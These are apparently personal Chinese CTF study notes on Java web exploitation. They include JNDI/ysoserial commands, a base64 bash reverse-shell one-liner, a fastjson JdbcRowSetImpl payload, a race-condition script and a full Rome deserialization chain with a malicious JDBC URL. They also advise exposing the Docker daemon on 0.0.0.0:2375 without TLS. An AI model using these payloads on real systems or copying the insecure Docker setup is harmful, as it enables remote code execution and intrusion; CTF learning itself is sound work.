然后是2022 第三届“祥云杯” writeup by Arr3stY0u (qq.com)别的内存马

javaweb工具使用

JNDI-Injection

jndi注入一把缩工具

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "命令" -A "公网ip"

然后一般命令执行无回显,用java的反弹shell:

1
bash -c {echo,YmFzaCAtaSA+***************************Q==}|{base64,-d}|{bash,-i}

ysoserial

https://www.anquanke.com/post/id/229108#h2-0

注意的一点是,如果报了什么cannot access什么的,很有可能是你的杀毒软件把一些恶意class删掉了。。赶紧恢复就好。

不过我在IDEA里搭建了这个环境,方便动调。

目前比较常用的还是这个命令:

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME(链的名字) "执行的命令" 

Idea+WSL2+Docker环境搭建

WSL2

自带的jdk11,位置在/usr/lib/jvm,在~/.bashrc下编辑这个:

1
2
3
export JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64
export CLASSPATH=${JAVA_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH

http://t.zoukankan.com/caoleiCoding-p-12874907.html

DOCKER

首先要在docker desktop下修改如下设置:

  • General: Expose daemon on tcp://localhost:2375 without TLS

  • Docker Engine的配置文件的json添加:

    1
    2
    3
    "hosts": [
    "tcp://0.0.0.0:2375"
    ],

配置防火墙打开2375端口,用管理员身份去运行powershell

1
netsh advfirewall firewall add rule name="docker_daemon" dir=in action=allow protocol=TCP localport=2375

测试:docker -H 127.0.0.1:2375 info

https://baijiahao.baidu.com/s?id=1652188442217820964&wfr=spider&for=pc

IDEA

Settings->Build->Build tools->Maven->runner中的VM Options:-DarchetypeCatalog=internal

可以在没有网路的情况下,我们可以正常创建工程,并从之前已经使用过的工程中找到相应的骨架。

比较坑的就是在idea新建项目的时候要选用linux文件系统,不要偷懒想通过/mnt/c直接套用windows的文件系统,文件路径为\\wsl$

Settings->Build->Docker,添加,选择TCP socket,tcp://localhost:2375,检查是否能链接成功。

image-20220214002132356

好像也没啥用,也不知道为啥自己会闲的蛋疼自己搭一个这种环境。

springboot项目部署到服务器的方法

经常看题给的附件都是给一个jar包,后缀名是-0.0.1-SNAPSHOT.jar的,我们需要了解一下这种打包方式:

只要在pom.xml里引入这个插件就能快速打包,然后部署到服务器上直接java -jar即可。

1
2
3
4
5
6
7
8
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>

还有发布war包的方式,在这里:(66条消息) spring boot 项目部署到服务器 两种方式_一只野生程序猿啊的博客-CSDN博客_springboot项目部署

刷题笔记

VNCTF2022 easyJava

vn有事没打,比赛后赶紧做了一下

首先用file协议拿到任意文件读权限,这个还挺贴心,相当于ls。

image-20220214124845926

读取/proc/self/environ发现工作目录是在/usr/local/tomcat/下,往下依次拿到class文件,反编译。

依次阅读,HelloWorldServlet处错误使用成员变量,可以通过条件竞争绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import threading
url = 'http://dde0389e-bd53-41f5-800f-a174d70b2983.node4.buuoj.cn:81/evi1?name='

def read(payload):
while True:
r = requests.get(url + payload)
if 'The Key is' in r.text:
print(r.text)
event.clear()


if __name__=="__main__":
event=threading.Event()
for i in range(1,30):
threading.Thread(target=read,args=("wonendie",)).start()
threading.Thread(target=read,args=("vnctf2022",)).start()
event.set()
'''
The Key is emLCF6YoH9P0TiQ4UD9alVvN49paCVfC
'''

拿到key后就老老实实序列化即可,注意package也要相同,因为这个还卡了。

1
2
3
4
5
6
7
8
String name = "m4n_q1u_666";
String age = "666";
String height = "180";
User user = new User(name, age, height);
byte[] textByte = SerAndDe.serialize(user);
Base64.Encoder encoder = Base64.getEncoder();
String res = encoder.encodeToString(textByte);
System.out.println(res);

红明谷2021 javaweb

当时觉得遥不可及的题,现在就是一个shiro权限绕过+jackson反序列化,用JDNI_Injection直接能梭出来。

没有给文件,可能只是buu没给吧,全靠盲打,jackson就按照网上的payload一个个试。

[羊城杯 2020]A Piece Of Java

真正借机会自己首拼了一个项目

考点是 很简单的动态代理+jdbc反序列化,基本是裸题

[网鼎杯 2020 朱雀组]Think Java

swagger-ui.html里面有一些api接口,这个题比较有意思的就是在jdbc处存在注入点:

dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;

1
2
String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
ResultSet rs = stmt.executeQuery(sql);

dbName我们输入一个?a=1后面就随意了,然后我们就可以进到这里注入了,拿到用户名密码后就发现是通过Authentic来确权的,后面是Bearer rO0ABXNyABhjbi5hYmMu,这个rO0一看就是一个序列化了,然后我看了一眼wp,直接拿rome链打过去了然后shell就弹回来了,至于是怎么发现rome存在的,我也不知道。

realezjvav VNCTF2021

第一关是一个巨无聊的笛卡尔积盲注

后面的话可以看到是个springboot,拿到任意文件读后读pom.xml,发现是fastjson1.2.27版本,是漏洞版本,这时候我们就需要仔细观察json注入点,就比如一开始这个,有可能是后端用fastjson解析的,然后就用1.2.68通解往里打就完事了

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:1099/refObj",
"autoCommit":true
}
}

image-20220530171156327

然后发现有waf拦截,就用fastjson的bypass手法去绕即可。

打远程打不通,后来发现本地调调才通的,还是要在本地通的。

安洵杯2022 ezjaba

路由处有一个读int,读字符串,再读字节码的base64反序列化点,依赖就一个rome和mysql-connector。

然后这个反序列化点把一些类ban了:

image-20221129162006730

可以看到把一次反序列化到rce,和jndi和二次反序列化的方法都给ban了,剩下的都是一些基于rome的组件。

题目还给了一个类,一眼看上去就是直接打jdbc了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class Database implements Serializable, Data
{
public String database;
public String host;
public Connection getConnection() {
String url = "jdbc:" + this.database + "://" + this.host + ":5432/axb?user=" + this.username + "&password" + this.password;
try {
JdbcUtils.filterJdbcUrl(url);
System.out.println(url);
this.connection = DriverManager.getConnection(url);
} catch (SQLException e) {
throw new RuntimeException(e);
} catch (Exception e) {
throw new RuntimeException(e);
}

return this.connection;
}
public String username; public String password; public Connection connection;
public void setDatabase(String database) {
this.database = database;
}
public void setHots(String host) {
this.host = host;
}
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
this.password = password;
}
}

还有一个小waf,本地试了一下jdbc:MYSQL 也是支持的,可以绕过去,网上的payload好像用编码也能绕过去。

1
2
3
4
if (url.startsWith("jdbc:mysql") && (
url.contains("autoDeserialize=true") || url.contains("allowLoadLocalInfile=true")))
throw new Exception("\u90A3\u5C31\u8FD9\u6837\u5427\uFF0C\u518D\u8FDE\u63A5\u5C31\u4E0D\u592A\u793C\u8C8C\u4E86");
}

所以现在问题就是怎么触发到getConnection,顺带学习了一下rome链,https://blog.csdn.net/Xxy605/article/details/123330443,这个文章写的特别好,3分钟就能学懂,现在问题就是怎么触发到tostringbean的tostring上去。

然后当时就卡在这了,事后问了别人,有说用codeql现挖的,那是真的牛逼,还有说之前ichunqiu发过推送说了一个关于tostring的,后来发现这个东西就是存在marshalsec里的,抄过来改一改就能打了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package com.example;

import com.example.ezjaba.Connection.Database;
import com.rometools.rome.feed.impl.ToStringBean;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.HashMap;

import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;
public class ezjaba_payload {
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
Database database = new Database();
database.database = "Mysql";
database.host = "127.0.0.1";
database.username = "yso_myself_calc";
database.password = "1&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";

ToStringBean toStringBean = new ToStringBean(Database.class, database);

HotSwappableTargetSource v1 = new HotSwappableTargetSource(toStringBean);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
try{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeUTF("axb");
outputStream.writeInt(2022);
outputStream.writeObject(s);
System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())),"UTF-8"));
outputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
}

做完之后唯一的收获也就是那个xstring配合spring的HotSwappableTargetSource能够触发tostring,算是知道了一个新技巧。但是知道新技巧也没啥用,下次出一个新题把这也给ban了照样不会,还是得学tabby和codeql啊,才不能真正的拾人牙慧。

todolist

buu还有一些spring的洞复现,好好啊

CVE-2016-4977,CVE-2017-4971,CVE-2017-8046,CVE-2018-1270,CVE-2018-1270

分区赛前学完吧,搞完冯如杯以后,拼命学

推荐链接

java代码审计 - 先知社区 (aliyun.com) 总结超全的一篇博客